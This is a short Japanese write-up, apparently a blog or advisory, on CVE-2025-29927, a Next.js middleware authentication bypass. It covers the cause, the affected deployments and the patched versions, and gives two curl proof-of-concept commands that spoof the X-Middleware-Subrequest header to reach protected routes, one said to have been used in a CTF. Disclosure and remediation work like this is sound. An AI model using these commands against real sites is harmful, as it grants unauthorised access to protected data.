CVE-2025-29927 — Next.js ミドルウェア認証バイパス

概要

クラブの前にいる用心棒を想像してみてください。もし「もう中にいるよ」と言えば、チェックをせずに通してくれます。それがまさにCVE-2025-29927です。

Next.jsのミドルウェアはリクエストが処理される前に実行され、認証を処理する理想的な場所です。Next.jsは内部の x-middleware-subrequest ヘッダーを使用して、再帰的リクエストを防ぎ無限ループを回避します。この脆弱性は、保護されたルートに到達する前に認証などの重要なセキュリティチェックを含む、ミドルウェアの実行を完全にバイパスまたはスキップできることを示しています。

影響を受けるバージョン

脆弱なアプリケーション

• Next.jsをホストし、ミドルウェアを使用するアプリケーション
• アプリケーションスタックの後半で検証せずに、認証やセキュリティチェックをミドルウェアに依存しているアプリケーション

影響を受けないもの

• Vercel でホストされているアプリケーション
• Netlify でホストされているアプリケーション
• 静的エクスポート として公開されたアプリケーション（ミドルウェアは実行されません）

影響

何千、何百万ものアプリケーションがパッチ未適用のNext.jsバージョンで動作しています。緩和策が講じられていない場合、この脆弱性により、認証情報を必要とせずに誰でも保護されたルートにアクセスできるようになります。

概念実証

curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

応答は、認証なしで保護されたページを返します。

実際のCTF環境でこの脆弱性を悪用しました

curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

修正方法

Next.jsをパッチ適用済みのバージョンにアップグレードしてください:

• 15.x → 15.2.3 以上
• 14.x → 14.2.25 以上
• 13.x → 13.5.9 以上